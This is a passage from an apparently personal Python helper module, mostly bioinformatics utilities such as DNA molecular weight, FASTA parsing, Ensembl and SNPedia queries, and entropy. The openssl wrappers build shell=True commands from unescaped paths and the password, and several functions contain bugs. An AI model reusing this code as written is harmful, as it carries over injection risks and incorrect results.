##Calculate: # length r["len"] = len(sequence) # molecular weight # still unsure about what is the best method to do this # s = 'ACTGACTGACTATATTCGCGATCGATGCGCTAGCTCGTACGC' # bioinformatics.org : 25986.8 Da # Thermo : 25854.8 Da # Promega : 27720.0 Da # MolBioTools : 25828.77 Da # This function : 25828.86 Da #Similar to OligoCalc implementation # DNA Molecular Weight (typically for synthesized DNA oligonucleotides. # The OligoCalc DNA MW calculations assume that there is not a 5' monophosphate) # Anhydrous Molecular Weight = (An x 313.21) + (Tn x 304.2) + (Cn x 289.18) + (Gn x 329.21) - 61.96 # An, Tn, Cn, and Gn are the number of each respective nucleotide within the polynucleotide. # The subtraction of 61.96 gm/mole from the oligonucleotide molecular weight takes into account the removal # of HPO2 (63.98) and the addition of two hydrogens (2.02). # Alternatively, you could think of this of the removal of a phosphate and the addition of a hydroxyl, # since this formula calculates the molecular weight of 5' and 3' hydroxylated oligonucleotides. # Please note: this calculation works well for synthesized oligonucleotides. # If you would like an accurate MW for restriction enzyme cut DNA, please use: # Molecular Weight = (An x 313.21) + (Tn x 304.2) + (Cn x 289.18) + (Gn x 329.21) - 61.96 + 79.0 # The addition of 79.0 gm/mole to the oligonucleotide molecular weight takes into account the 5' monophosphate # left by most restriction enzymes. # No phosphate is present at the 5' end of strands made by primer extension, # so no adjustment to the OligoCalc DNA MW calculation is necessary for primer extensions. # That means that for ssDNA, you need to add 79.0 to the value calculated by OligoCalc # to get the weight with a 5' monophosphate. # Finally, if you need to calculate the molecular weight of phosphorylated dsDNA, # don't forget to adjust both strands. You can automatically perform either addition # by selecting the Phosphorylated option from the 5' modification select list. # Please note that the chemical modifications are only valid for DNA and may not be valid for RNA # due to differences in the linkage chemistry, and also due to the lack of the 5' phosphates # from synthetic RNA molecules. RNA Molecular Weight (for instance from an RNA transcript). # The OligoCalc RNA MW calculations assume that there is a 5' triphosphate on the molecule) # Molecular Weight = (An x 329.21) + (Un x 306.17) + (Cn x 305.18) + (Gn x 345.21) + 159.0 # An, Un, Cn, and Gn are the number of each respective nucleotide within the polynucleotide. # Addition of 159.0 gm/mole to the molecular weight takes into account the 5' triphosphate. if t == "ssDNA": mw = ( (c["A"] * 313.21) + (c["T"] * 304.2) + (c["C"] * 289.18) + (c["G"] * 329.21) + (c["N"] * 303.7) - 61.96 ) + (p * 79.0) elif t == "dsDNA": mw_F = ( (c["A"] * 313.21) + (c["T"] * 304.2) + (c["C"] * 289.18) + (c["G"] * 329.21) + (c["N"] * 303.7) - 61.96 ) + (p * 79.0) d = Counter(complement(sequence.upper())) # complement sequence mw_R = ( (d["A"] * 313.21) + (d["T"] * 304.2) + (d["C"] * 289.18) + (d["G"] * 329.21) + (d["N"] * 303.7) - 61.96 ) + (p * 79.0) mw = mw_F + mw_R elif t == "ssRNA": pass elif t == "dsRNA": pass else: return ValueError(f'Nucleic acid type not understood: "{t}"') r["MW in Daltons"] = mw # in ng r["MW in ng"] = mw * 1.6605402e-15 # molecules in 1ng r["molecules per ng"] = 1 / r["MW in ng"] # ng for 10e10 molecules r["ng per billion molecules"] = (10 ** 9) / r["molecules per ng"] # (1 billions) # moles per ng r["moles per ng"] = r["MW in ng"] * mw return r def occur(string, sub): """ Counts the occurrences of a sequence in a string considering overlaps. Example: >> s = 'ACTGGGACGGGGGG' >> s.count('GGG') 3 >> occur(s,'GGG') 5 """ count = start = 0 while True: start = string.find(sub, start) + 1 if start > 0: count += 1 else: return count def get_prime(n): for num in range(2, n, 2): if all(num % i != 0 for i in range(2, int(math.sqrt(num)) + 1)): yield num def ssl_fencrypt(infile, outfile): """(file_path, file_path) => encrypted_file Uses openssl to encrypt/decrypt files. """ pwd = getpass("enter encryption pwd:") if getpass("repeat pwd:") == pwd: run( f"openssl enc -aes-256-cbc -a -salt -pass pass:{pwd} -in {infile} -out {outfile}", shell=True, ) else: print("passwords don't match.") def ssl_fdecrypt(infile, outfile): """(file_path, file_path) => decrypted_file Uses openssl to encrypt/decrypt files. """ pwd = getpass("enter decryption pwd:") run( f"openssl enc -d -aes-256-cbc -a -pass pass:{pwd} -in {infile} -out {outfile}", shell=True, ) def loop_zip(strA, strB): """(str, str) => zip() Return a zip object containing each letters of strA, paired with letters of strB. If strA is longer than strB, then its letters will be paired recursively. Example: >>> list(loop_zip('ABCDEF', '123')) [('A', '1'), ('B', '2'), ('C', '3'), ('D', '1'), ('E', '2'), ('F', '3')] """ assert len(strA) >= len(strB) s = "" n = 0 for l in strA: try: s += strB[n] except IndexError: n = 0 s += strB[n] n += 1 return zip(list(strA), list(s)) def encrypt(msg, pwd): """(str, str) => list Simple encryption/decription tool. WARNING: This is NOT cryptographically secure!! """ if len(msg) < len(pwd): raise ValueError( "The password is longer than the message. This is not allowed." ) return [(string_to_number(a) + string_to_number(b)) for a, b in loop_zip(msg, pwd)] def decrypt(encr, pwd): """(str, str) => list Simple encryption/decription tool. WARNING: This is NOT cryptographically secure!! """ return "".join( [number_to_string((a - string_to_number(b))) for a, b in loop_zip(encr, pwd)] ) def convert_mw(mw, to="g"): """(int_or_float, str) => float Converts molecular weights (in dalton) to g, mg, ug, ng, pg. Example: >> diploid_human_genome_mw = 6_469.66e6 * 660 #lenght * average weight of nucleotide >> convert_mw(diploid_human_genome_mw, to="ng") 0.0070904661368191195 """ if to == "g": return mw * 1.6605402e-24 if to == "mg": return mw * 1.6605402e-21 if to == "ug": return mw * 1.6605402e-18 if to == "ng": return mw * 1.6605402e-15 if to == "pg": return mw * 1.6605402e-12 raise ValueError( f"'to' must be one of ['g','mg','ug','ng','pg'] but '{to}' was passed instead." ) def snp237(snp_number): """int => list Return the genomic position of a SNP on the GCRh37 reference genome. """ if type(snp_number) is str \ and snp_number.lower().startswith('rs'): snp_number = snp_number[2:] query = f"https://www.snpedia.com/index.php/Rs{snp_number}" html = urlopen(query).read().decode("utf-8") for line in html.split("\n"): if line.startswith('<tbody><tr><td width="90">Reference</td>'): reference = line.split('"')[-2] elif line.startswith('<tbody><tr><td width="90">Chromosome</td>'): chromosome = line.split("<td>")[1].split("<")[0] elif line.startswith('<tbody><tr><td width="90">Position</td>'): position = int(line.split("<td>")[1].split("<")[0]) break if "GRCh38" in reference: lo = LiftOver("hg38", "hg19") return lo.convert_coordinate(f"chr{chromosome}", position)[0][:2] else: return f"chr{chromosome}", position def is_prime(n): """Return True if n is a prime number""" if n == 1: return False # 1 is not prime # if it's even and not 2, then it's not prime if n == 2: return True if n > 2 and n % 2 == 0: return False max_divisor = math.floor(math.sqrt(n)) for d in range(3, 1 + max_divisor, 2): if n % d == 0: return False return True def flatmap(f, items): return chain.from_iterable(imap(f, items)) def parse_fasta(fasta_file): """file_path => dict Return a dict of id:sequences. """ d = {} _id = False seq = "" with open(fasta_file, "r") as f: for line in f: if line.startswith("\n"): continue if line.startswith(">"): if not _id: _id = line.strip()[1:] elif _id and seq: d.update({_id: seq}) _id = line.strip()[1:] seq = "" else: seq += line.strip() d.update({_id: seq}) return d def get_fasta_stats(fasta_file): """file_path => dict Return lenght and base counts of each seuqence found in the fasta file. """ d = {} _id = False seq = "" with open(fasta_file, "r") as f: for line in f: if line.startswith("\n"): continue if line.startswith(">"): if not _id: _id = line[1:].strip() elif _id and seq: d.update({_id: seq}) _id = line[1:].strip() seq = "" else: seq += line.strip().upper() d.update( { _id: { "length": len(seq), "A": seq.count("A"), "T": seq.count("T"), "C": seq.count("C"), "G": seq.count("G"), "N": seq.count("N"), } } ) return d def quick_align( reference, sample, matrix=matlist.blosum62, gap_open=-10, gap_extend=-0.5 ): """ Return a binary score matrix for a pairwise alignment. """ alns = pairwise2.align.globalds(reference, sample, matrix, gap_open, gap_extend) top_aln = alns[0] aln_reference, aln_sample, score, begin, end = top_aln score = [] for i, base in enumerate(aln_reference): if aln_sample[i] == base: score.append(1) else: score.append(0) return score def vp(var_name, var_dict=globals(), sep=" : "): """(str, dict) => print Variable Print, a fast way to print out a variable's value. >>> scale = 0.35 >>> mass = '71 Kg' >>> vp('scale') scale : 0.35 >>> vp('mass',sep='=') mass=71 Kg """ try: print(f"{var_name}{sep}{g[var_name]}") except: print(f"{var_name} not found!") def view_matrix(arrays): """list_of_arrays => print Print out the array, row by row. """ for a in arrays: print(a) print("=========") for n, r in enumerate(arrays): print(n, len(r)) print(f"row:{len(arrays)}\ncol:{len(r)}") def fill_matrix(arrays, z=0): """(list_of_arrays, any) => None Add z to fill-in any array shorter than m=max([len(a) for a in arrays]). """ m = max([len(a) for a in arrays]) for i, a in enumerate(arrays): if len(a) != m: arrays[i] = np.append(a, [z for n in range(m - len(a))]) def get_size(obj_0): """obj => int Recursively iterate to sum size of object & members (in bytes). Adapted from http://stackoverflow.com/questions/449560/how-do-i-determine-the-size-of-an-object-in-python """ def inner(obj, _seen_ids=set()): zero_depth_bases = (str, bytes, Number, range, bytearray) obj_id = id(obj) if obj_id in _seen_ids: return 0 _seen_ids.add(obj_id) size = sys.getsizeof(obj) if isinstance(obj, zero_depth_bases): pass # bypass remaining control flow and return elif isinstance(obj, (tuple, list, Set, deque)): size += sum(inner(i) for i in obj) elif isinstance(obj, Mapping) or hasattr(obj, "items"): size += sum(inner(k) + inner(v) for k, v in getattr(obj, "items")()) # Check for custom object instances - may subclass above too if hasattr(obj, "__dict__"): size += inner(vars(obj)) if hasattr(obj, "__slots__"): # can have __slots__ with __dict__ size += sum( inner(getattr(obj, s)) for s in obj.__slots__ if hasattr(obj, s) ) return size return inner(obj_0) def total_size(o, handlers={}, verbose=False): """(object, dict, bool) => print Returns the approximate memory footprint an object and all of its contents. Automatically finds the contents of the following builtin containers and their subclasses: tuple, list, deque, dict, set and frozenset. To search other containers, add handlers to iterate over their contents: handlers = {SomeContainerClass: iter, OtherContainerClass: OtherContainerClass.get_elements} >>> d = dict(a=1, b=2, c=3, d=[4,5,6,7], e='a string of chars') >>> print(total_size(d, verbose=True)) 796 280 <type 'dict'> {'a': 1, 'c': 3, 'b': 2, 'e': 'a string of chars', 'd': [4, 5, 6, 7]} 38 <type 'str'> 'a' 24 <type 'int'> 1 38 <type 'str'> 'c' 24 <type 'int'> 3 38 <type 'str'> 'b' 24 <type 'int'> 2 38 <type 'str'> 'e' 54 <type 'str'> 'a string of chars' 38 <type 'str'> 'd' 104 <type 'list'> [4, 5, 6, 7] 24 <type 'int'> 4 24 <type 'int'> 5 24 <type 'int'> 6 24 <type 'int'> 7 """ dict_handler = lambda d: chain.from_iterable(d.items()) all_handlers = { tuple: iter, list: iter, deque: iter, dict: dict_handler, set: iter, frozenset: iter, } all_handlers.update(handlers) # user handlers take precedence seen = set() # track which object id's have already been seen default_size = sys.getsizeof(0) # estimate sizeof object without __sizeof__ def sizeof(o): if id(o) in seen: # do not double count the same object return 0 seen.add(id(o)) s = sys.getsizeof(o, default_size) if verbose: print(s, type(o), repr(o)) for typ, handler in all_handlers.items(): if isinstance(o, typ): s += sum(map(sizeof, handler(o))) break return s return sizeof(o) def center(pattern): """np.array => np.array Return the centered pattern, which is given by [(value - mean) for value in pattern] >>> array = np.array([681.7, 682.489, 681.31, 682.001, 682.001, 682.499, 682.001]) >>> center(array) array([-0.30014286, 0.48885714, -0.69014286, 0.00085714, 0.00085714, 0.49885714, 0.00085714]) """ # mean = pattern.mean() # return np.array([(value - mean) for value in pattern]) return pattern - np.mean(pattern) def rescale(pattern): """np.array => np.array Rescale each point of the array to be a float between 0 and 1. >>> a = np.array([1,2,3,4,5,6,5,4,3,2,1]) >>> rescale(a) array([ 0. , 0.2, 0.4, 0.6, 0.8, 1. , 0.8, 0.6, 0.4, 0.2, 0. ]) """ # _max = pattern.max() # _min = pattern.min() # return np.array([(value - _min)/(_max - _min) for value in pattern]) return (pattern - pattern.min()) / (pattern.max() - pattern.min()) def standardize(pattern): """np.array => np.array Return a standard pattern. >>> a = np.array([1,2,3,4,5,6,5,4,3,2,1]) >>> standardize(a) array([-1.41990459, -0.79514657, -0.17038855, 0.45436947, 1.07912749, 1.7038855 , 1.07912749, 0.45436947, -0.17038855, -0.79514657, -1.41990459]) """ # mean = pattern.mean() # std = pattern.std() # return np.array([(value - mean)/std for value in pattern]) return (pattern - np.mean(pattern)) / np.std(pattern) def normalize(pattern): """np.array => np.array Return a normalized pattern using np.linalg.norm(). >>> a = np.array([1,2,3,4,5,6,5,4,3,2,1]) >>> normalize(a) """ return pattern / np.linalg.norm(pattern) def gen_patterns(data, length, ptype="all"): """(array, int) => dict Generate all possible patterns of a given legth by manipulating consecutive slices of data. Return a dict of patterns dividad by pattern_type. >>> data = [1,2,3,4,5,4,3,2,1] >>> gen_patterns(data,len(data)) {'center': {0: array([-1.77777778, -0.77777778, 0.22222222, 1.22222222, 2.22222222, 1.22222222, 0.22222222, -0.77777778, -1.77777778])}, 'norm': {0: array([ 0.10846523, 0.21693046, 0.32539569, 0.43386092, 0.54232614, 0.43386092, 0.32539569, 0.21693046, 0.10846523])}, 'scale': {0: array([ 0. , 0.25, 0.5 , 0.75, 1. , 0.75, 0.5 , 0.25, 0. ])}, 'std': {0: array([-1.35224681, -0.59160798, 0.16903085, 0.92966968, 1.69030851, 0.92966968, 0.16903085, -0.59160798, -1.35224681])}} >>> gen_patterns(data,3) {'center': {0: array([-1., 0., 1.]), 1: array([-1., 0., 1.]), 2: array([-1., 0., 1.])}, 'norm': {0: array([ 0.26726124, 0.53452248, 0.80178373]), 1: array([ 0.37139068, 0.55708601, 0.74278135]), 2: array([ 0.42426407, 0.56568542, 0.70710678])}, 'scale': {0: array([ 0. , 0.5, 1. ]), 1: array([ 0. , 0.5, 1. ]), 2: array([ 0. , 0.5, 1. ])}, 'std': {0: array([-1.22474487, 0. , 1.22474487]), 1: array([-1.22474487, 0. , 1.22474487]), 2: array([-1.22474487, 0. , 1.22474487])}} """ results = {} ptypes = ["std", "norm", "scale", "center"] if ptype == "all": # to do: select specific ptypes for t in ptypes: results.update({t: {}}) for n in range(length): if n + length > len(data): break raw = np.array(data[n : n + length]) partial = { "std": standardize(raw), "norm": normalize(raw), "scale": rescale(raw), "center": center(raw), } for t in ptypes: results[t].update({n: partial[t]}) return results def delta_percent(a, b, warnings=False): """(float, float) => float Return the difference in percentage between a nd b. If the result is 0.0 return 1e-09 instead. >>> delta_percent(20,22) 10.0 >>> delta_percent(2,20) 900.0 >>> delta_percent(1,1) 1e-09 >>> delta_percent(10,9) -10.0 """ # np.seterr(divide='ignore', invalid='ignore') try: x = ((float(b) - a) / abs(a)) * 100 if x == 0.0: return 0.000000001 # avoid -inf else: return x except Exception as e: if warnings: print(f"Exception raised by delta_percent(): {e}") return 0.000000001 # avoid -inf def is_similar(array1, array2, t=0.1): """(array, array, float) => bool Return True if all the points of two arrays are no more than t apart. """ if len(array1) != len(array2): return False for i, n in enumerate(array1): if abs(n - array2[i]) <= t: pass else: return False return True def cluster_patterns(pattern_list, t): """ ([array, array, ...], float) => dict Return a dict having as keys the idx of patterns in pattern_list and as values the idx of the similar patterns. "t" is the inverse of a similarity threshold, i.e. the max discrepancy between the value of array1[i] and array2[i]. If no simalar patterns are found,value is assigned to an empty list. >>> a = [1,2,3,4,5,6,5,4,3,2,1] >>> a1 = [n+1 for n in a] >>> a2 = [n+5 for n in a] >>> a3 = [n+6 for n in a] >>> patterns = [a,a1,a2,a3] >>> cluster_patterns(patterns,t=2) {0: [1], 1: [0], 2: [3], 3: [2]} >>> cluster_patterns(patterns,t=5) {0: [1, 2], 1: [0, 2, 3], 2: [0, 1, 3], 3: [1, 2]} >>> cluster_patterns(patterns,t=0.2) {0: [], 1: [], 2: [], 3: []} """ result = {} for idx, array1 in enumerate(pattern_list): result.update({idx: []}) for i, array2 in enumerate(pattern_list): if i != idx: if is_similar(array1, array2, t=t): result[idx].append(i) # print 'clusters:',len([k for k,v in result.iteritems() if len(v)]) return result def stamp_to_date(stamp, time="utc"): """(int_or_float, float, str) => datetime.datetime Convert UNIX timestamp to UTC or Local Time >>> stamp = 1477558868.93 >>> print stamp_to_date(stamp,time='utc') 2016-10-27 09:01:08.930000 >>> print stamp_to_date(int(stamp),time='utc') 2016-10-27 09:01:08 >>> stamp_to_date(stamp,time='local') datetime.datetime(2016, 10, 27, 11, 1, 8, 930000) """ if time.lower() == "utc": return datetime.datetime.utcfromtimestamp(stamp) elif time.lower() == "local": return datetime.datetime.fromtimestamp(stamp) else: raise ValueError('"time" must be "utc" or "local"') def future_value(interest, period, cash): """(float, int, int_or_float) => float Return the future value obtained from an amount of cash growing with a fix interest over a period of time. >>> future_value(0.5,1,1) 1.5 >>> future_value(0.1,10,100) 259.37424601 """ if not 0 <= interest <= 1: raise ValueError('"interest" must be a float between 0 and 1') for d in range(period): cash += cash * interest return cash def entropy(sequence, verbose=False): """(string, bool) => float Return the Shannon Entropy of a string. Calculated as the minimum average number of bits per symbol required for encoding the string. The theoretical limit for data compression: Shannon Entropy of the string * string length """ letters = list(sequence) alphabet = list(set(letters)) # list of symbols in the string # calculate the frequency of each symbol in the string frequencies = [] for symbol in alphabet: ctr = 0 for sym in letters: if sym == symbol: ctr += 1 frequencies.append(float(ctr) / len(letters)) # Shannon entropy ent = 0.0 for freq in frequencies: ent = ent + freq * math.log(freq, 2) ent = -ent if verbose: print("Input string:") print(sequence) print() print("Alphabet of symbols in the string:") print(alphabet) print() print("Frequencies of alphabet symbols:") print(frequencies) print() print("Shannon entropy:") print(ent) print("Minimum number of bits required to encode each symbol:") print(int(math.ceil(ent))) return ent def quick_entropy(sequence): """(string, bool) => float Return the Shannon Entropy of a string. Compact version of entropy() Calculated as the minimum average number of bits per symbol required for encoding the string. The theoretical limit for data compression: Shannon Entropy of the string * string length. """ alphabet = set(sequence) # list of symbols in the string # calculate the frequency of each symbol in the string frequencies = [] for symbol in alphabet: frequencies.append(sequence.count(symbol) / len(sequence)) # Shannon entropy ent = 0.0 for freq in frequencies: ent -= freq * math.log(freq, 2) return ent def percent_of(total, fraction): """(int_or_float,int_or_float) => float Return the percentage of 'fraction' in 'total'. Examples: percent_of(150, 75) >>> 50.0 percent_of(30, 90) >>> 300.0 """ assert total > 0 if np.isnan(total) or np.isnan(fraction): return nan return (100 * fraction) / total def buzz(sequence, noise=0.01): """(string,float) => string Return a sequence with some random noise. """ if not noise: return sequence bits = set([char for char in sequence] + ["del", "dup"]) r = "" for char in sequence: if random.random() <= noise: b = random.sample(bits, 1)[0] if b == "del": continue elif b == "dup": r += 2 * char else: r += b else: r += char return r def simple_consensus(aligned_sequences_file): """file => string Return the consensus of a series of fasta sequences aligned with muscle. """ # Generate consensus from Muscle alignment sequences = [] seq = False with open(aligned_sequences_file, "r") as f: for line in f: if line.startswith("\n"): continue if line.startswith(">"): if seq: sequences.append(seq) seq = "" else: seq += line.strip() sequences.append(seq) # check if all sequenced have the same length for seq in sequences: assert len(seq) == len(sequences[0]) # compute consensus by majority vote consensus = "" for i in range(len(sequences[0])): char_count = Counter() for seq in sequences: char_count.update(seq[i]) consensus += char_count.most_common()[0][0] return consensus.replace("-", "") def print_sbar(n, m, s="|#.|", size=30, message=""): """(int,int,string,int) => None Print a progress bar using the simbols in 's'. Example: range_limit = 1000 for n in range(range_limit): print_sbar(n+1,m=range_limit) time.sleep(0.1) """ # adjust to bar size if m != size: n = (n * size) / m m = size # calculate ticks _a = int(n) * s[1] + (int(m) - int(n)) * s[2] _b = round(n / (int(m)) * 100, 1) # adjust overflow if _b >= 100: _b = 100.0 # to stdout sys.stdout.write(f"\r{message}{s[0]}{_a}{s[3]} {_b}% ") sys.stdout.flush() def get_hash(a_string, algorithm="md5"): """str => str Return the hash of a string calculated using various algorithms. .. code-block:: python >>> get_hash('prova','md5') '189bbbb00c5f1fb7fba9ad9285f193d1' >>> get_hash('prova','sha256') '6258a5e0eb772911d4f92be5b5db0e14511edbe01d1d0ddd1d5a2cb9db9a56ba' """ if algorithm == "md5": return hashlib.md5(a_string.encode()).hexdigest() elif algorithm == "sha256": return hashlib.sha256(a_string.encode()).hexdigest() else: raise ValueError("algorithm {} not found".format(algorithm)) def get_first_transcript_by_gene_name(gene_name, data=EnsemblRelease(75), genome_id=None): """str => str Return the id of the main trascript for a given gene. The data is from http://grch37.ensembl.org/ """ assert genome_id in ['grch37','grch38'], 'please specify genome_id' gene = data.genes_by_name(gene_name) gene_id = str(gene[0]).split(",")[0].split("=")[-1] gene_location = str(gene[0]).split("=")[-1].strip(")") url = f"http://{genome_id}.ensembl.org/Homo_sapiens/Gene/Summary?db=core;g={gene_id};r={gene_location}" for line in urlopen(url): if '<tbody><tr><td class="bold">' in line: return line.split('">')[2].split("</a>")[0] def get_exons_coord_by_gene_name(gene_name, data=EnsemblRelease(75)): """str => OrderedDict({'exon_id':[coordinates]}) Return an OrderedDict having as k the exon_id and as value a tuple containing the genomic coordinates ('chr',start,stop). """ gene = data.genes_by_name(gene_name) gene_id = str(gene[0]).split(",")[0].split("=")[-1] gene_location = str(gene[0]).split("=")[-1].strip(")") gene_transcript = get_first_transcript_by_gene_name(gene_name).split(".")[0] table = OrderedDict() for exon_id in data.exon_ids_of_gene_id(gene_id): exon = data.exon_by_id(exon_id) coordinates = (exon.contig, exon.start, exon.end) table.update({exon_id: coordinates}) return table def get_exons_coord_by_gene_name(gene_name, data=EnsemblRelease(75), genome_id=None): """string => OrderedDict .. code-block:: python >>> table = get_exons_coord_by_gene_name('TP53') >>> for k,v in table.items(): ... print(k,v) ENSE00002419584 ['7,579,721', '7,579,700'] """ assert genome_id in ['grch37','grch38'], 'please specify genome_id' gene = data.genes_by_name(gene_name) gene_id = str(gene[0]).split(",")[0].split("=")[-1] gene_location = str(gene[0]).split("=")[-1].strip(")") gene_transcript = get_first_transcript_by_gene_name(gene_name).split(".")[0] url = f"http://{genome_id}.ensembl.org/Homo_sapiens/Transcript/Exons?db=core;g={gene_id};r={gene_location};t={gene_transcript}" str_html = get_html(url) html = "" for line in str_html.split("\n"): try: # print line html += str(line) + "\n" except UnicodeEncodeError: pass blocks = html.split("\n") table = OrderedDict() for exon_id in data.exon_ids_of_gene_id(gene_id): for i, txt in enumerate(blocks): if exon_id in txt: if exon_id not in table: table.update({exon_id: []}) for item in txt.split('<td style="width:10%;text-align:left">')[1:-1]: table[exon_id].append(item.split("</td>")[0]) return table def split_overlap(seq, size, overlap, is_dataframe=False): """(seq,int,int) => [[...],[...],...] Split a sequence into chunks of a specific size and overlap. Works also on strings! It is very efficient for short sequences (len(seq()) <= 100). Set "is_dataframe=True" to split a pandas.DataFrame Examples: >>> split_overlap(seq=list(range(10)),size=3,overlap=2) [[0, 1, 2], [1, 2, 3], [2, 3, 4], [3, 4, 5], [4, 5, 6], [5, 6, 7], [6, 7, 8], [7, 8, 9]] >>> split_overlap(seq=range(10),size=3,overlap=2) [range(0, 3), range(1, 4), range(2, 5), range(3, 6), range(4, 7), range(5, 8), range(6, 9), range(7, 10)] """ if size < 1 or overlap < 0: raise ValueError('"size must be >= 1 and overlap >= 0') result = [] if is_dataframe: while True: if len(seq) <= size: result.append(seq) return result else: result.append(seq.iloc[:size]) seq = seq.iloc[size - overlap :] else: while True: if len(seq) <= size: result.append(seq) return result else: result.append(seq[:size]) seq = seq[size - overlap :] def split_overlap_long(seq, size, overlap, is_dataframe=False): """(seq,int,int) => generator Split a sequence into chunks of a specific size and overlap. Return a generator. It is very efficient for long sequences (len(seq()) > 100). https://stackoverflow.com/questions/48381870/a-better-way-to-split-a-sequence-in-chunks-with-overlaps Set "is_dataframe=True" to split a pandas.DataFrame Examples: >>> split_overlap_long(seq=list(range(10)),size=3,overlap=2) <generator object split_overlap_long at 0x10bc49d58> >>> list(split_overlap_long(seq=list(range(10)),size=3,overlap=2)) [[0, 1, 2], [1, 2, 3], [2, 3, 4], [3, 4, 5], [4, 5, 6], [5, 6, 7], [6, 7, 8], [7, 8, 9]] >>> list(split_overlap_long(seq=range(10),size=3,overlap=2)) [range(0, 3), range(1, 4), range(2, 5), range(3, 6), range(4, 7), range(5, 8), range(6, 9), range(7, 10)] """ if size < 1 or overlap < 0: raise ValueError("size must be >= 1 and overlap >= 0") if is_dataframe: for i in range(0, len(seq) - overlap, size - overlap): yield seq.iloc[i : i + size] else: for i in range(0, len(seq) - overlap, size - overlap): yield seq[i : i + size] def itr_split_overlap(iterable, size, overlap): """(iterable,int,int) => generator Similar to long_split_overlap() but it works on any iterable. In case of long sequences, long_split_overlap() is more efficient but this function can handle potentially infinite iterables using deque(). https://stackoverflow.com/questions/48381870/a-better-way-to-split-a-sequence-in-chunks-with-overlaps Warning: for range() and symilar, it behaves differently than split_overlap() and split_overlap_long() Examples: >>> list(itr_split_overlap(iterable=range(10),size=3,overlap=2)) [(0, 1, 2), (1, 2, 3), (2, 3, 4), (3, 4, 5), (4, 5, 6), (5, 6, 7), (6, 7, 8), (7, 8, 9)] """ if size < 1 or overlap < 0: raise ValueError("size must be >= 1 and overlap >= 0") itr = iter(iterable) buf = deque(islice(itr, size), maxlen=size) chunk = None for chunk in iter(lambda: tuple(islice(itr, size - overlap)), ()): yield tuple(buf) buf.extend(chunk) rest = tuple(buf) if chunk: rest = rest[size - overlap - len(chunk) :] yield rest def split_overlap_df(df, size, overlap): """(df,int,int) => generator Split a pandas.DataFrame into chunks of a specific size and overlap. """ if size < 1 or overlap < 0: raise ValueError("size must be >= 1 and overlap >= 0") for i in range(0, len(df) - overlap, size - overlap): yield df.iloc[i : i + size] def reorder_dict(d, keys): """(dict,list) => OrderedDict Change the order of a dictionary's keys without copying the dictionary (save RAM!). Return an OrderedDict. """ tmp = OrderedDict() for k in keys: tmp[k] = d[k] del d[k] # this saves RAM return tmp # test = OrderedDict({'1':1,'2':2,'4':4,'3':3}) # print(test) # test2 = reorder_dict(test,['1','2','3','4']) # print(test) # print(test2) # >>> OrderedDict([('2', 2), ('3', 3), ('4', 4), ('1', 1)]) # >>> OrderedDict() # >>> OrderedDict([('1', 1), ('2', 2), ('3', 3), ('4', 4)]) def in_between(one_number, two_numbers): """(int,list) => bool Return true if a number is in between two other numbers. Return False otherwise. """ if two_numbers[0] < two_numbers[1]: pass else: two_numbers = sorted(two_numbers) return two_numbers[0] <= one_number <= two_numbers[1] def is_overlapping(svA, svB, limit=0.9): """(list,list,float) => bool Check if two SV ovelaps for at least 90% (limit=0.9). svX = [chr1,brk1,chr2,brk2] """ # Step 1. # Select the breaks in order to have lower coordinates first if int(svA[1]) <= int(svA[3]): chr1_A = svA[0] brk1_A = int(svA[1]) chr2_A = svA[2] brk2_A = int(svA[3]) else: chr2_A = svA[0] brk2_A = svA[1] chr1_A = svA[2] brk1_A = svA[3] if int(svB[1]) <= int(svB[3]): chr1_B = svB[0] brk1_B = int(svB[1]) chr2_B = svB[2] brk2_B = int(svB[3]) else: chr2_B = svB[0] brk2_B = int(svB[1]) chr1_B = svB[2] brk1_B = int(svB[3]) # Step 2. # Determine who is the longest # Return False immediately if the chromosomes are not the same. # This computation is reasonable only for sv on the same chormosome. if chr1_A == chr2_A and chr1_B == chr2_B and chr1_A == chr1_B: len_A = brk2_A - brk1_A len_B = brk2_B - brk1_B if len_A >= len_B: len_reference = len_A len_sample = len_B else: len_reference = len_B len_sample = len_A limit = round( len_reference * limit ) # this is the minimum overlap the two sv need to share # to be considered overlapping # if the sample is smaller then the limit then there is no need to go further. # the sample segment will never share enough similarity with the reference. if len_sample < limit: return False else: return False # Step 3. # Determine if there is an overlap # >> There is an overlap if a least one of the break of an sv is in beetween the two breals of the other sv. overlapping = False for b in [brk1_A, brk2_A]: if in_between(b, [brk1_B, brk2_B]): overlapping = True for b in [brk1_B, brk2_B]: if in_between(b, [brk1_A, brk2_A]): overlapping = True if not overlapping: return False # Step 4. # Determine the lenght of the ovelapping part # easy case: if the points are all different then, if I sort the points, # the overlap is the region between points[1] and points[2] # |-----------------| |---------------------| # |--------------| |-------------| points = sorted([brk1_A, brk2_A, brk1_B, brk2_B]) if len(set(points)) == 4: # the points are all different overlap = points[2] - points[1] elif len(set(points)) == 3: # one point is in common # |-----------------| # |--------------| if points[0] == points[1]: overlap = points[3] - points[2] # |---------------------| # |-------------| if points[2] == points[3]: overlap = points[2] - points[1] # |-----------------| # |-------------| if points[1] == points[2]: return False # there is no overlap else: # |-----------------| # |-----------------| return True # if two points are in common, then it is the very same sv if overlap >= limit: return True else: return False def load_obj(file): """ Load a pickled object. Be aware that pickle is version dependent, i.e. objects dumped in Py3 cannot be loaded with Py2. """ try: with open(file, "rb") as f: obj = pickle.load(f) return obj except: return False def save_obj(obj, file): """ Dump an object with pickle. Be aware that pickle is version dependent, i.e. objects dumped in Py3 cannot be loaded with Py2. """ try: with open(file, "wb") as f: pickle.dump(obj, f) print("Object saved to {}".format(file)) return True except: print("Error: Object not saved...") return False # save_obj(hotspots_review,'hotspots_review_CIS.txt') def query_encode(chromosome, start, end): """ Queries ENCODE via http://promoter.bx.psu.edu/ENCODE/search_human.php Parses the output and returns a dictionary of CIS elements found and the relative location. """ ## Regex setup re1 = "(chr{})".format(chromosome) # The specific chromosome re2 = "(:)" # Any Single Character ':' re3 = "(\\d+)" # Integer re4 = "(-)" # Any Single Character '-' re5 = "(\\d+)" # Integer rg = re.compile(re1 + re2 + re3 + re4 + re5, re.IGNORECASE | re.DOTALL) ## Query ENCODE std_link = ( "http://promoter.bx.psu.edu/ENCODE/get_human_cis_region.php?assembly=hg19&" ) query = std_link + "chr=chr{}&start={}&end={}".format(chromosome, start, end) print(query) html_doc = urlopen(query) html_txt = BeautifulSoup(html_doc, "html.parser").get_text() data = html_txt.split("\n") ## Parse the output parsed = {} coordinates = [i for i, item_ in enumerate(data) if item_.strip() == "Coordinate"] elements = [data[i - 2].split(" ")[-1].replace(": ", "") for i in coordinates] blocks = [item for item in data if item[:3] == "chr"] print(elements) try: i = 0 for item in elements: # print(i) try: txt = blocks[i] # print(txt) m = 